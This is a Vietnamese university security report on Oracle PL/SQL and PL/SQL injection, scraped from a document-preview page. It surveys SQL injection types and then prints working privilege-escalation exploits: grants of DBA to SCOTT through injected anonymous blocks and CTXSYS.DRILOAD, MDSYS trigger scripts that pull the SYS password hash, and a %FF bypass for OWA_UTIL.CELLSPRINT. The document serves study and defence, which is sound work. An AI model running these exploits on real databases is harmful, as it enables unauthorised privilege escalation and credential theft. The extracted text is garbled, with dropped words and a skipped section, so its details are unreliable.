1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Tìm hiểu về PL SQL và PL SQL injection

29 116 4

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 29
Dung lượng 427,89 KB

Nội dung

HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN BÁO CÁO AN TOÀN CƠ SỞ DỮ LIỆU Đề tài: Tìm hiểu PL/SQL PL/SQL Injection Sinh viên thực hiện: Nguyễn Đàm Minh Hiếu AT150317 Nguyễn Quang Thành AT150251 Kiều Duy Khánh AT150328 Ngô Anh Duân AT150309 Giảng viên hướng dẫn: Thầy Trần Nghi Phú Hà Nội, 10-2021 Lời nói đầu Sự phát triển vượt bậc cơng nghệ web đem lại nhiều thuận lợi cho người sử dụng nhà phát triển.Nhưng với phát triển ứng dụng web trở thành mục tiêu ưu thích kể công Đa số ứng dụng web ngày quản lý đáp ứng yêu cầu truy xuất liệu thông qua ngôn ngữ truy vấn cấu trúc SQL Các hệ quản trị sở liệu thông dụng Oracle, MS SQL hay MySQL có chung đặc điểm này, dạng công liên quan đến SQL thường xếp hàng đầu danh sách lỗ hổng nguy hiểm nhất, dạng công vào lỗi gọi SQL injection Trong thực tế công SQL Injection gây hậu nghiêm trọng, tin tặc lấy tất liệu người dùng có sở liệu chi tiết người dùng, thông tin thẻ tín dụng, số an sinh xã hội truy cập vào khu vực bảo vệ cổng quản trị viên Cũng xóa liệu người dùng khỏi bảng Ngày nay, tất ứng dụng mua sắm trực tuyến, giao dịch ngân hàng sử dụng máy chủ sở liệu back-end Vì vậy, trường hợp tin tặc khai thác SQL injection, toàn máy chủ bị xâm phạm Tấn công website kỹ thuật SQL injection từ lâu mối quan tâm bảo mật hàng đầu nhà phát triển web chủ sở hữu website Ngày nay, kỹ thuật triển khai để phòng tránh hầu hết công SQL Injection nhiều hệ thống website tồn điểm yếu này, máy chủ VPN BKAV bị hacker cơng kỹ thuật SQL Injection hậu vơ nghiêm trọng Là sinh viên an tồn thơng tin với kiến thức học với mong muốn bảo vệ an tồn cho khơng gian mạng, chúng em lựa chọn đề tài “Tìm hiểu PL/SQL PL/SQL Injection” làm đề tài tập lớn mình, nhằm tìm hiểu sâu cụ thể kỹ thuật SQL Injection Oracle với ngôn ngữ thủ tục PL/SQL Mục lục CHƯƠNG TÌM HIỂU VỀ PL/SQL TRONG ORACLE 1.1 Giới thiệu .2 1.2 Các đặc điểm PL/SQL 1.3 Cấu trúc PL/SQL 1.4 Lợi ích sử dụng PL/SQL CHƯƠNG CHƯƠNG 2: PL/SQL INJECTION 2.1 SQL Injection 2.1.1 Khái niệm .6 2.1.2 Các kiểu công SQL Injection 2.2 PL / SQL Injection 2.2.1 Injecting into SELECT Statements 2.2.2 Injection into DML – DELETE, INSERT, UPDATE 11 2.2.3 Injecting into Anonymous blocks 12 2.2.4 Thực thi truy vấn người dùng cung cấp với DBMS_SQL 13 2.2.5 PL/SQL Injection Database Trigger 18 2.2.6 PL/SQL Máy chủ ứng dụng Oracle 22 CHƯƠNG PHÒNG CHỐNG SQL INJECTION 27 CHƯƠNG TÌM HIỂU VỀ PL/SQL TRONG ORACLE 1.1 Giới thiệu PL/SQL (Procedural Language/Structured Query Language) ngơn ngữ lập trình lập trình hướng thủ tục sử dụng cho Oracle SQL Nó mở rộng Oracle SQL PL/SQL bao gồm thành phần ngôn ngữ hướng thủ tục bao gồm điều kiện vòng lặp Nó cho phép khai báo số biến, thủ tục hàm, kiểu liệu biến kiểu liệu, trigger Nó sử lý ngoại lệ (lỗi thời gian chạy) Mảng hỗ trợ nâng cấp để sử dụng cho tập hợp PL/SQL Từ phiên trở bao gồm thêm tính hướng đối tượng Nó tạo đơn vị PL/SQL thủ tục, hàm, package, kiểu liệu, triggers, thứ lưu trữ database tái sử dụng ứng dụng giao tiếp với ứng dụng Oracle 1.2 Các đặc điểm PL/SQL Cấu trúc khối: đơn vị bản PL/SQL khối Tất chương trình PL/SQL xây dựng từ khối Mỗi khối đơn vị công việc logic chương trình Cấu trúc khối sau: DECLARE /* Phần khai BEGIN /* Phần thực yêu EXCEPTION /* Phần kiểm END; báo – biến, kiểu, cursor chương trình nằm */ – thủ tục câu lệnh SQL nằm Đây phần cầu phải có */ sốt lỗi */ - Biến kiểu: PL/SQL hỗ trợ biến kiểu tương tự ngôn ngữ lập trình khác PL/SQL cho phép sử dụng kiểu liệu người dùng định nghĩa kiểu bảng (Table) kiểu ghi (Record) - Cấu trúc vịng lặp rẽ nhánh: Cũng ngơn ngữ lập trình bậc cao Pascal, Visual Basic…PL/SQL cho phép sử dụng cấu trúc điều khiển điều kiện cấu trúc lặp - Cursor: dùng để thao tác với nhiều hàng liệu lấy từ CSDL (dùng câu lệnh Select) Bằng cách sử dụng Cursor, chương trình duyệt cách dễ dàng toàn hàng liệu Để xử lý câu lệnh SQL, Oracle tạo vùng nhớ gọi vùng ngữ cảnh (Context Area) Vùng ngữ cảnh chứa thông tin cần thiết để hồn thành q trình, bao gồm số hàng xử lý câu lệnh, trỏ tới câu lệnh Trong trường hợp Query, vùng ngữ cảnh tập hợp hàng trả Query Cursor thẻ (Handle) trỏ (Pointer) trỏ tới vùng ngữ cảnh Thông qua Cursor, chương trình PL/SQL điều khiển vùng ngữ cảnh, bước cần thiết để xử lý Cursor:     Khai báo Cursor Mở Cursor để thực Query Đưa kết vào biến PL/SQL Đóng Cursor 1.3 Cấu trúc PL/SQL Có thể nói PL/SQL ngơn ngữ cấu trúc khối (Block-Structure) Đơn vị chương trình PL/SQL khối Tất chương trình PL/SQL hợp thành từ khối Các khối lồng Mỗi khối liên quan đến vấn đề vấn đề cần giải PL/QL hỗ trợ cách tiếp cận giải vấn đề theo kiểu “chia để trị” Có vài kiểu khối bao gồm: - Khối không tên (Anonymous Block): thường xây dựng tự động thực lần - Khối có tên (Named Block): khối không tên với nhãn gán cho tên khối - Chương trình (Subprogram): thủ tục (Procedure), gói (Package) hàm (Function) lưu sở liệu Những khối thường không thay đổi xây dựng chúng thực nhiều lần Thực chương trình lời gọi thủ tục, gói hàm cần thực - Trigger: tương tự chương trình con, chúng lưu sở liệu thực nhiều lần, đồng thời thay đổi sau tạo Trigger thực có kiện kích hoạt Trong khối chương trình, PL/SQL có phần tách biệt nhau: phần khai báo, phần thực phần kiểm sốt lỗi Chỉ có phần thực bắt buộc phải có cịn hai phần có khơng Phần khai báo nơi mà tất biến, cursor kiểu dùng khối khai báo Những hàm thủ tục địa phương khai báo Phần thực phần khối, nơi thực công việc khối Phần bao gồm câu lệnh SQL câu lệnh gọi thủ tục Lỗi kiểm soát phần kiểm soát lỗi Mã chương trình thực có lỗi xảy Trong PL/SQL có loại lỗi là: Compile (lỗi phát sinh dịch) Run-time (lỗi phát sinh chạy) PL/SQL kiểm sốt lỗi thơng qua ngoại lệ (Exceptions) xử lý ngoại lệ (Exception Handlers) Exception thiết kế để xử lý lỗi phát sinh chạy chương trình, cịn lỗi phát sinh dịch phát PL/SQL trả thơng báo cho người sử dụng Khi có lỗi phát sinh, ngoại lệ phát sinh, quyền điều khiển chuyển sang phần kiểm soát lỗi Nhờ việc thiết kế phần mềm kiểm soát lỗi cách độc lập nên tính logic chương trình dễ hiểu hơn, đồng thời bảo đảm tất lỗi kiểm soát Những từ khoá DECLARE, BEGIN, EXCEPTION END ngăn cách khối với 1.4 Lợi ích sử dụng PL/SQL Tích hợp với SQL, giúp người dùng tương tác với liệu cách linh hoạt Tăng hiệu năng: PL/SQL tập hợp câu lệnh SQL thành ‘Unit’ gửi toàn ‘Unit’ xuống database thay gửi câu truy vấn SQL Phát triển chương trình theo hướng Module hố Tương thích với nhiều cơng cụ Oracle như: Oracle Forms, Oracle Reports PL/SQL chạy nơi Oracle Database hoạt động, không phân biệt OS Cung cấp chế kiểm soát ngoại lệ CHƯƠNG CHƯƠNG 2: PL/SQL INJECTION 2.1 SQL Injection Trước tìm hiểu PL/SQL Injection, bắt đầu với SQL Injection 2.1.1 Khái niệm SQL injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu đầu vào ứng dụng web thông báo lỗi hệ quản trị sở liệu trả để inject (tiêm vào) thi hành câu lệnh SQL bất hợp pháp SQL injection cho phép kẻ công thực thao tác, delete, insert, update, v.v sở liệu ứng dụng, chí server mà ứng dụng chạy SQL injection thường biết đến vật trung gian cơng ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sysbase 2.1.2 Các kiểu công SQL Injection First-order Injection : Những kẻ công đưa vào câu lệnh SQL cách cung cấp đầu vào người dùng tạo thủ công thông qua HTTP GET POST, cookie tập hợp biến máy chủ có chứa HTTP, tiêu đề mạng thông số môi trường khác Ví dụ: lệnh UNIONS thêm vào câu lệnh có để thực câu lệnh thứ hai, truy vấn thêm vào câu lệnh có điều kiện truy vấn "OR = 1" thêm vào để trả tất liệu từ bảng Second-order Injection : Những kẻ công đưa câu lệnh SQL vào lưu trữ liên tục (chẳng hạn ghi bảng) coi nguồn đáng tin cậy gián tiếp kích hoạt cơng đầu vào sử dụng sau Ví dụ: kẻ cơng đăng ký tài khoản với username “admin' " Giả sử ứng dụng Web xác thực đầu vào trước lưu trữ sở liệu Kẻ cơng sau sửa đổi mật cách sử dụng câu lệnh SQL sau: UPDATE tblname SET password = '" + newPassword + "' WHERE username = '" + userName + "' AND password = '" + oldPassword + "'" Trong trường hợp này, tên kẻ công đăng nhập '' admin '-' "và câu lệnh SQL đọc là: UPDATE users SET password='newpassword' password='oldpassword' WHERE userName= 'admin' ' AND Vì "-" tốn tử thích SQL, thứ sau bị SQL Engine bỏ qua Do đó, câu lệnh SQL kẻ công thay đổi tên người dùng quản trị viên ("admin") thành giá trị kẻ công định Illegal/Logically Incorrect Queries: Kẻ công thu thập thông tin quan trọng loại cấu trúc sở liệu phía sau ứng dụng Web cách đưa vào cú pháp SQL bất hợp pháp khơng xác mặt logic, điều làm cho ứng dụng trả trang lỗi mặc định thường tiết lộ tham số dễ bị cơng / chèn cho kẻ cơng Cuộc công coi bước thu thập thông tin sơ cho công SQL injection khác Ví dụ: Kiểm tra tên cột Input (username): 'ddd" Sql: SELECT * FROM students WHERE username = 'ddd"' AND password = Kết quả:"Incorrect syntax near 'ddd' Unclosed quotation mark after the character string '' AND Password='aaa''." Tautologies : Kẻ công đưa truy vấn đánh giá true cho mục nhập sở liệu để bỏ qua xác thực, xác định tham số chèn trích xuất liệu Ví dụ: Tên người dùng biết Input (username): jdoe' or '1'='1 Sql: SELECT * FROM students WHERE username = 'jdoe' or '1'='1' AND password = Kết quả: Tất liệu student truy xuất Cả tên người dùng mật Input (username): ' or '' = ' Input (password): ' or '' = ' Sql: select * from students where username = '' or '' = '' and password = '' or '' = '' Kết quả: Tất liệu student truy xuất Union Query: Kẻ công đưa UNION SELECT để lừa ứng dụng trả liệu từ bảng khác với bảng định Đây hình thức phổ biến sử dụng trích dẫn cho cơng này: câu lệnh SQL bình thường + "dấu chấm phẩy" + UNION SELECT PiggyBacked Queries : Kẻ công đưa truy vấn bổ sung vào truy vấn ban đầu để trích xuất liệu, thêm sửa đổi liệu, thực từ chối dịch vụ thực lệnh từ xa Trong trường hợp này, kẻ cơng khơng có ý định sửa đổi truy vấn dự định ban đầu mà bao gồm truy vấn truy vấn ban đầu Kết DBMS nhận nhiều truy vấn SQL Đầu tiên truy vấn thông thường thực bình thường, truy vấn thực để đáp ứng công Đây biểu mẫu phổ biến sử dụng dấu phân cách truy vấn (?;?) Cho công này: câu lệnh SQL bình thường + ";" + INSERT (hoặc UPDATE, DELETE, DROP) Stored Procedures: Khi câu lệnh SQL bình thường (tức SELECT) tạo thủ tục lưu trữ, kẻ cơng đưa vào thủ tục lưu trữ khác để thay cho thủ tục lưu trữ thông thường để thực leo thang đặc quyền, tạo từ chối dịch vụ thực lệnh từ xa Đây biểu mẫu phổ biến sử dụng dấu phân cách truy vấn (“;”) Và thủ tục lưu trữ " SHUTDOWN " cho cơng này: câu lệnh SQL bình thường + "; SHUTDOWN; " 2.2 PL / SQL Injection Trong phần thảo luận PL / SQL Injection, kỹ thuật công quan trọng liên quan đến thủ tục lưu trữ Oracle Sử dụng PL / SQL Injection, kẻ cơng nâng cấp đặc quyền họ từ tài khoản PUBLIC cấp thấp lên tài khoản có đặc quyền cấp DBA Kỹ thuật liên quan đến hầu hết tất EXEC SYS.NEW_EMP(‘P’’ || SCOTT.RSTPWD) ’); Kết mật cho người dùng ‘Anonymous’ đổi thành ‘FE0E8CE7C92504E9’ Như bạn thấy cách đưa vào truy vấn INSERT bẳng EMPLOYEES, UPDATE liệu bàng SYS.USER$ Nhưng hạn chế kỹ thuật không inject DDL 2.2.3 Injecting into Anonymous blocks Phần bàn luận việc dựa vào khối ẩn danh thủ tục, ta chèn vào câu lệnh DDL thực thi chúng Ví dụ, xem xét thủ tục sau đây: CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS STMT VARCHAR2(200); BEGIN STMT:= ‘BEGIN ‘ || ‘DBMS_OUTPUT.PUT_LINE(‘’’ || P_BUF || ‘’’);’ || ‘END;’; EXECUTE IMMEDIATE STMT; END; Câu lệnh thực thi bình thường EXEC ANON_BLOCK(‘FOOBAR’); Kết trả FOOBAR Nếu kẻ cơng chèn vào khối PL/SQL ẩn danh, thực với thủ tục ANON_BLOCK này, kẻ cơng làm gì? Giả sử thủ tục ANON_BLOCK xác định người dùng SYS, kẻ công đưa vào câu lệnh GRANT để trở thành DBA EXEC ANON_BLOCK(‘F’’); EXECUTE IMMEDIATE ‘’GRANT DBA TO SCOTT’’; END; -’); Điều thay đổi khối PL/SQL ẩn danh ban đầu từ BEGIN DBMS_OUTPUT.PUT_LINE(‘F’); END; thành: BEGIN DBMS_OUTPUT.PUT_LINE(‘F’); EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT’; END; ’);END; Sau thực thi SCOTT cấp vai trò DBA 2.2.4 Thực thi truy vấn người dùng cung cấp với DBMS_SQL Gói mặc định DBMS_SQL cho phép SQL thực thi động Thuộc quyền sở hữu SYS, xác định với từ khóa AUTHID CURRENT_USER để chạy với đặc quyền người gọi Điều bảo vệ thủ tục DBMS_SQL chống lại công trực tiếp, gọi từ chương trình PL/SQL khác sử dụng quyền xác định có vấn đề Trước tìm hiểu thủ tục DBMS_SQL nguy hiểm nào, kiểm tra xem hoạt động Hãy xem xét đoạn mã sau DECLARE C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’SELECT FROM DUAL’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; Ở đây, trỏ, C, mở hàm OPEN_CURSOR Sau đó, câu lệnh SQL, 'SELECT FORM DUAL', phân tích cú pháp cách sử dụng DBMS_SQL.PARSE (C, STMT, DBMS_SQL.NATIVE) Sau phân tích cú pháp, truy vấn thực thi DBMS_SQL.EXECUTE_AND_FETCH (C) Ngồi ra, hàm DBMS_SQL.EXECUTE (C) gọi theo sau lệnh gọi tới DBMS_SQL.FETCH_ROWS (C) Cuối cùng, trỏ đóng DBMS_SQL.CLOSE_CURSOR (C) Bất kỳ truy vấn thực thủ tục Điều bao gồm lệnh gọi tới GRANT, CREATE ALTER Tuy nhiên, cố gắng chạy truy vấn DBMS_SQL, lỗi trả ORA-01003: no statement parsed ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1216 ORA-06512: at “SYS.DBMS_SQL”, line 334 Tuy nhiên, thành cơng Để xem điều hoạt động, chạy truy vấn sau: SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’; Trả GRANTEE -SYS WKSYS SYSMAN SYSTEM Sau chạy DECLARE C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’GRANT DBA TO PUBLIC’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; / Kết trả vể ORA-01003: no statement parsed ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1216 ORA-06512: at “SYS.DBMS_SQL”, line 334 sau chạy SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’; lần nữa, lần trả GRANTEE SYS WKSYS PUBLIC SYSMAN SYSTEM Bây chạy REVOKE DBA FROM PUBLIC; Về bảo mật, thủ tục DBMS_SQL.PARSE Thay vào đó, tùy chọn an toàn chạy thủ tục PARSE_AS_USER gói DBMS_SYS_SQL Thủ tục phân tích cú pháp câu lệnh cách sử dụng đặc quyền người dùng khơng phải trình định nghĩa thủ tục Vì vậy, giả sử SYS tạo hai thủ tục P Q sau: CREATE OR REPLACE PROCEDURE P AS C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’GRANT DBA TO PUBLIC’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; / GRANT EXECUTE ON P TO PUBLIC; CREATE OR REPLACE PROCEDURE Q AS C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’GRANT DBA TO PUBLIC’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SYS_SQL.PARSE_AS_USER(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; / GRANT EXECUTE ON Q TO PUBLIC; Khi SCOTT thực thủ tục P việc cấp thành cơng, SCOTT chạy thủ tục Q việc cấp khơng thành công với ORA-01031: insufficient privileges ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1585 ORA-06512: at “SYS.Q”, line Giả sử DBMS_SYS_SQL.PARSE_AS_USER an tồn khơng sử dụng, mà thay vào đó, DBMS_SQL.PARSE, thủ tục PL/SQL đầu vào người dùng chuyển đến nó, có khả bị kẻ cơng lạm dụng Ví dụ thực tế Trong Oracle 9i, thủ tục VALIDATE_STMT gói DRILOAD CTXSYS sở hữu sử dụng DBMS_SQL để phân tích cú pháp thực truy vấn PUBLIC có quyền thực thi gói Nó lấy, làm tham số nó, truy vấn SQL, sau cắm thẳng vào DBMS_SQL.PARSE sau thực thi Bởi CTXSYS DBA Oracle9i, tất kẻ cơng cần làm để trở thành DBA thực thi EXEC CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO SCOTT’); Mặc dù lỗi “ORA-01003: no statement parsed” trả lại, khoản cấp thành công SCOTT DBA 2.2.5 PL/SQL Injection Database Trigger Trong Oracle, trình kích hoạt viết PL/SQL thực thi với đặc quyền trình định nghĩa; chúng sử dụng để nâng cao đặc quyền chúng mã hóa khơng tốt Hãy xem số ví dụ thực tế điều Trình kích hoạt SDO_CMT_CBK_TRIG thuộc sở hữu MDSYS kích hoạt DELETE thực bảng SDO_TXN_IDX_INSERTS, bảng thuộc sở hữu MDSYS PUBLIC có đặc quyền đối tượng SELECT, INSERT, UPDATE DELETE bảng Do đó, khiến trình kích hoạt SDO_CMT_CBK_TRIG kích hoạt cách xóa hàng khỏi bảng Nếu kiểm tra văn trình kích hoạt, thấy rằng, trước DELETE thực xảy ra, danh sách hàm chọn từ bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_CBK_DML_TABLE sau hàm thực thi PUBLIC khơng có đặc quyền đối tượng đặt cho hai bảng nên chúng chèn tên hàm riêng Tuy nhiên, gói PRVT_CMT_CBK MDSYS sở hữu có hai thủ tục, CCBKAPPLROWTRIG EXEC_CBK_FN_DML, lấy tham số chúng tên lược đồ hàm, sau chèn vào bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_CBK_DML_TABLE PUBLIC có quyền EXECUTE gói PRVT_CMT_CBK chưa xác định với từ khóa AUTHID CURRENT_USER, gói thực thi cách sử dụng quyền MDSYS, trình xác định khơng phải người gọi Do đó, chèn gián tiếp tên hàm vào bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_CBK_DML_TABLE Do đó, DELETE xảy SDO_TXN_IDX_INSERTS, ảnh hưởng đến hành động mà trình kích hoạt SDO_CMT_CBK_TRIG thực - nói cách khác, u cầu trình kích hoạt thực thi chức tùy ý Hơn nữa, chức này, thực thi từ trình kích hoạt chạy với đặc quyền MDSYS kẻ cơng khai thác điều để đạt đặc quyền nâng cao Tập lệnh mẫu này, chạy người dùng có đặc quyền thấp SCOTT, lấy lại băm mật cho tài khoản SYS Nó thực điều trước tiên cách tạo bảng có tên USERS_AND_PASSWORDS Bảng nơi kết thúc băm mật cho tài khoản SYS Sau đó, hàm, GET_USERS_AND_PWDS, tạo Đây nơi mà kẻ cơng đặt mã khai thác SQL Trong trường hợp này, hàm lợi dụng thực tế MDSYS có đặc quyền SELECT ANY TABLE để SELECT mật băm cho SYS từ bảng USER$ Với bảng hàm tạo, PUBLIC sau cấp quyền truy cập vào chúng Điều để MDSYS truy cập chúng Sau đó, thủ tục:  MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG  MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML thực thi, chèn SCHEMA SCOTT hàm GET_USERS_AND_PWDS vào bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_DBK_FN_TABLE SD Với thứ vị trí, hàng sau chèn vào SDO_TXN_IDX_INSERTS sau bị xóa Khi q trình xóa xảy ra, trình kích hoạt kích hoạt, truy xuất hàm SCOTT.GET_USERS_AND_PWDS sau thực thi Khi hàm thực thi, mật băm cho SYS chọn từ SYS.USER$ sau chèn vào bảng USERS_AND_PASSWORDS SCOTT Cuối cùng, SCOTT chọn hàm băm từ bảng sau đưa vào trình bẻ khóa mật Oracle CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD VARCHAR2(200)); / GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC; GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC; CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2 VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.USERS_AND_PASSWORDS (USERNAME,PASSWORD) VALUES ((SELECT NAME FROM SYS.USER$ WHERE NAME = ‘’SYS’’),(SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ‘’SYS’’))’; RETURN 1; END; / GRANT EXECUTE ON GET_USERS_AND_PWDS TO PUBLIC; EXEC MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG(‘SCOTT’,’GET_USERS_AND_PWDS’); EXEC MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML(0,’AAA’,’BBB’,’SCOTT’,’GET_ USERS_AND_PWDS’); INSERT INTO MDSYS.SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID) VALUES(‘FIRE’,’FIRE’); DELETE FROM MDSYS.SDO_TXN_IDX_INSERTS WHERE SDO_TXN_IDX_ID = ‘FIRE’; SELECT * FROM USERS_AND_PASSWORDS; MDSYS.SDO_GEOM_TRIG_INS1 dễ bị chèn SQL 9i 10g Trình kích hoạt thực điều sau EXECUTE IMMEDIATE ‘SELECT user FROM dual’ into tname; stmt := ‘SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ‘ || ‘WHERE sdo_owner = ‘’’ || tname || ‘’’ ‘ || ‘ AND sdo_table_name = ‘’’ || :n.table_name || ‘’’ ‘|| ‘ AND sdo_column_name = ‘’’ || :n.column_name || ‘’’ ‘; INSERT thực MDSYS.USER_SDO_GEOM_METADATA :New.table_name và: new.column_name bị ảnh hưởng người dùng SQL đưa vào PUBLIC có quyền INSERT vào bảng Vì vậy, trình kích hoạt bị lạm dụng để chọn từ bảng MDSYS chọn từ Ví dụ: người dùng có đặc quyền thấp chọn băm mật cho SYS từ bảng USER$: set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):=’select password from sys.user$ where name =’’SYS’’’; begin execute immediate stmt into buffer; dbms_output.put_line(‘SYS passord is: ‘|| buffer); return ‘foo’; end; / grant execute on y to public; insert into mdsys.user_sdo_geom_metadata (table_name,column_name) values (‘X’’ AND SDO_COLUMN_NAME=scott.y ’,’test’); Trình kích hoạt MDSYS.SDO_LRS_TRIG_INS kích hoạt INSERT xảy chế độ xem MDSYS.USER_SDO_LRS_METADATA PUBLIC chèn vào chế độ xem làm cho trình kích hoạt kích hoạt Trình kích hoạt dễ bị công SQL injection Cả Oracle 9i 10g bị ảnh hưởng Nó thực thi stmt := ‘SELECT count(*) FROM SDO_LRS_METADATA_TABLE ‘ || ‘ WHERE sdo_owner = ‘’’ || UPPER(user_name) || ‘’’ ‘ || ‘ AND sdo_table_name = ‘’’ || UPPER(:n.table_name) || ‘’’ ‘ || ‘ AND sdo_column_name = ‘’’ || UPPER(:n.column_name) || ‘’’ ‘; EXECUTE IMMEDIATE stmt INTO vcount; và: new.table_name và: new.column_name người dùng cung cấp câu lệnh INSERT Đây nơi kẻ cơng chèn SQL: set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):=’select password from sys.user$ where name =’’SYS’’’; begin execute immediate stmt into buffer; dbms_output.put_line(‘SYS passord is: ‘|| buffer); return ‘foo’; end; / grant execute on y to public; insert into mdsys.user_sdo_lrs_metadata (table_name,column_name,dim_pos,dim_unit) values (‘W’’ AND SDO_COLUMN_NAME=SCOTT.Y ’,’BBB’,3,’AAA’); If DIM_POS is not set to or an error will be generated: ERROR at line 1: ORA-02290: check constraint (MDSYS.SYS_C002760) violated ORA-06512: at “MDSYS.SDO_LRS_TRIG_INS”, line 18 ORA-04088: error during execution of trigger ‘MDSYS.SDO_LRS_TRIG_INS’ Điều chế độ xem USER_SDO_LRS_METADATA tham chiếu đến bảng MDSYS.SDO_LRS_METADATA_TABLE Bảng có ràng buộc yêu cầu SDO_DIM_POS = 2.2.6 PL/SQL Máy chủ ứng dụng Oracle Thủ tục PL/SQL thực thi Web thông qua Máy chủ ứng dụng Oracle Trên thực tế, mơi trường ứng dụng phổ biến sử dụng cho ứng dụng web dựa Oracle Khi sử dụng ứng dụng web dựa PL/SQL, máy chủ web hoạt động đơn giản máy chủ proxy Nó nhận yêu cầu từ máy khách chuyển yêu cầu đến máy chủ sở liệu phụ trợ để thực thi Kết chuyển trở lại máy chủ web, sau chuyển cho máy khách Ví dụ: giả sử có cửa hàng sách sử dụng PL/SQL cho trang Thương mại điện tử họ Cửa hàng tạo số gói, gói để duyệt sách gói khác để mua Giả sử gói cho phép duyệt sách gọi BROWSE xuất số thủ tục SEARCH_BY_AUTHOR, SEARCH_BY_TITLE, v.v Để tìm kiếm sách tác giả định, người dùng ứng dụng web yêu cầu trình duyệt web họ URL sau: http://www.books.example.com/pls/bookstore/browse.search_by_author? p_author=Dickens Hãy chia nhỏ điều này: www.books.example.com trang web /Pls yêu cầu cho ứng dụng PL/SQL Một trình xử lý xác định cho điều tệp cấu hình apache /bookstore DAD Bộ mơ tả truy cập sở liệu DAD trỏ đến vị trí tệp cấu hình có chứa thơng tin chi tiết cách máy chủ web kết nối với máy chủ sở liệu Thông tin bao gồm thứ tên người dùng mật mà máy chủ web xác thực /browse tên gói search_by_author tên thủ tục Lưu ý người dùng web tình cờ biết tên lược đồ chứa gói duyệt, giả sử SCOTT, họ yêu cầu /pls/bookstore/SCOTT.BROWSE.SEARCH_BY_AUTHOR Khi máy khách yêu cầu điều này, máy chủ web gửi yêu cầu đến máy chủ sở liệu Máy chủ sở liệu thực thi thủ tục SEARCH_BY_AUTHOR chuyển Dickens làm đối số Quy trình truy vấn bảng sách gửi kết trở lại máy chủ web Máy chủ web phản hồi hợp lệ với máy khách Oracle cung cấp Bộ công cụ PL/SQL để sử dụng với ứng dụng web Bộ công cụ chứa gói HTP, chứa thủ tục để tạo văn HTML HTF, chứa hàm để tạo văn HTML Ngồi cịn có nhóm gói bắt đầu OWA, chẳng hạn OWA_COOKIE OWA_UTIL OWA_UTIL chứa số thủ tục thú vị CELLSPRINT Điều coi đối số truy vấn chọn SQL kết trả lại cho máy khách Trong phiên cũ Máy chủ ứng dụng Oracle, thực quy trình này: http://www.books.example.com/pls/bookstore/SYS.OWA_UTIL.CELLSPRINT? P_THEQUERY=select+1+from+dual Tơi báo cáo điều họ sửa Một lúc sau, tơi quay lại xem xét tính bảo vệ danh sách loại trừ tị mị, tơi kiểm tra tính mạnh mẽ Lần này, chuyển từ %00 thành %FF thay Y SYS kiểm tra máy chủ web để tìm phản hồi 200 - tức tơi có lại quyền truy cập vào OWA_UTIL Tôi thấy rằng% FF máy chủ web dịch sang byte 0xFF (rõ ràng) điều gửi đến máy chủ sở liệu Tuy nhiên, điều thú vị máy chủ sở liệu dịch 0xFF thành 0x59 - Y! Điều cho phép tơi có quyền truy cập lại vào OWA_UTIL cho phép chạy truy vấn tùy ý http://www.books.example.com/pls/bookstore/S%FFS.OWA_UTIL.CELLSPRINT? P_THEQUERY=select+1+from+dual Điều liên quan đến ký tự sử dụng máy chủ ứng dụng máy chủ sở liệu Để điều hoạt động, hai phải sử dụng ký tự WE8ISO8859P1 tình phổ biến Tìm hiểu sâu hơn, tơi thấy máy chủ web sử dụng ký tự AMERICAN_AMERICA.WE8ISO8859P1 máy chủ sở liệu sử dụng ký tự 